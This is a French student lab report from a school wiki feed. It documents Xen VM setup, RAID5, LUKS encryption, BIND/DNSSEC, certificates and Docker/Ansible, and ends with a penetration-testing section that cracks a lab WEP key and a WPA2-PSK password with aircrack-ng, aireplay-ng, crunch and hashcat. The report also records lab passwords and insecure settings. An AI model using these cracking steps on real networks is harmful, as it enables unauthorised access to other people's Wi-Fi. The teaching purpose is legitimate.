&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;br /&gt;
&lt;br /&gt;
== Partie 7 ==&lt;br /&gt;
&lt;br /&gt;
=== Architecture de la ferme ===&lt;br /&gt;
&lt;br /&gt;
Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.  &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1. &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ] &lt;br /&gt;
&lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface                                                                                                                              &lt;br /&gt;
 auto eth0                                                                                                                                                    &lt;br /&gt;
 iface eth0 inet static                                                                                                                                        &lt;br /&gt;
 address 193.48.57.184                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.255                                                                                                                                      &lt;br /&gt;
 up ip address add dev eth0 100.64.0.24/24                                                                                                                    &lt;br /&gt;
 up ip route add default via 100.64.0.2 src 193.48.57.184                                                                                                     &lt;br /&gt;
 down ip address del dev eth0 100.64.0.24/24                                                                                                                  &lt;br /&gt;
 down ip route del default via 100.64.0.2 src 193.48.57.184                                                                                                                                                                                                                                                               &lt;br /&gt;
 &lt;br /&gt;
 # The secondary network interface                                                                                                                            &lt;br /&gt;
 auto eth1                                                                                                                                                    &lt;br /&gt;
 iface eth1 inet static                                                                                                                                        &lt;br /&gt;
 address 192.168.42.19                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.0 &lt;br /&gt;
&lt;br /&gt;
Nous avons mis en place notre propre mascarade avec les commandes suivantes :&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184&lt;br /&gt;
Ce qui permet à nos paquets en provenance de 192.168.45.5 de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des &amp;quot;apt install&amp;quot; et ne plus être considérer comme des hackeur russes malveillants.&lt;br /&gt;
&lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0                                                                                                               &lt;br /&gt;
 iface eth0 inet static                                                                                                    &lt;br /&gt;
 address 192.168.42.5/24                                                                                                 &lt;br /&gt;
 gateway 192.168.42.19 &lt;br /&gt;
&lt;br /&gt;
Nous avons également modifié notre fichier /etc/resolv.conf :&lt;br /&gt;
 domain plil.info                                                                                                        &lt;br /&gt;
 search plil.info plil.fr                                                                                                &lt;br /&gt;
 nameserver 192.168.42.19&lt;br /&gt;
&lt;br /&gt;
Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d&lt;br /&gt;
&lt;br /&gt;
Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école.&lt;br /&gt;
&lt;br /&gt;
=== Installation de docker ===&lt;br /&gt;
&lt;br /&gt;
Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed&lt;br /&gt;
   apt:&lt;br /&gt;
        update_cache: yes&lt;br /&gt;
        name: &amp;quot;{{ packages }}&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
        packages:&lt;br /&gt;
                - python3&lt;br /&gt;
                - python3-pip&lt;br /&gt;
&lt;br /&gt;
Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé notre playbook pour déployer nos commandes :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webserver&lt;br /&gt;
   roles:&lt;br /&gt;
          - basic&lt;br /&gt;
          - geerlingguy.docker&lt;br /&gt;
   vars:&lt;br /&gt;
         docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
         docker_apt_repository: &amp;quot;deb [arch={{ docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel }}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Création de votre conteneur ===&lt;br /&gt;
&lt;br /&gt;
Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY . /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [&amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé l'image du Dockerfile :&lt;br /&gt;
 docker build -t web .&lt;br /&gt;
&lt;br /&gt;
Puis nous avons lancé notre container&lt;br /&gt;
 docker run -d -p &amp;quot;8085:80&amp;quot; --name web web&lt;br /&gt;
&lt;br /&gt;
Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :&lt;br /&gt;
 curl 193.48.57.184:8085&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire :&lt;br /&gt;
&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Après cela nous avons voulu push notre image &amp;quot;web&amp;quot; vers notre dépôt mais une erreur est survenue, celle-ci viens du fait qu'il fallait rajouter le fichier daemon.json dans le dossier &amp;quot;/etc/docker/&amp;quot; afin de ne pas utiliser une connexion sécurisé.&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
       &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.5:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier modifié nous avons pu utiliser les commandes :&lt;br /&gt;
&lt;br /&gt;
 docker tag web 192.168.42.5:5000/webserver&lt;br /&gt;
 docker push 192.168.42.5:5000/webserver&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54951</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54951"/>
				<updated>2020-12-17T22:59:43Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Création de votre conteneur */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
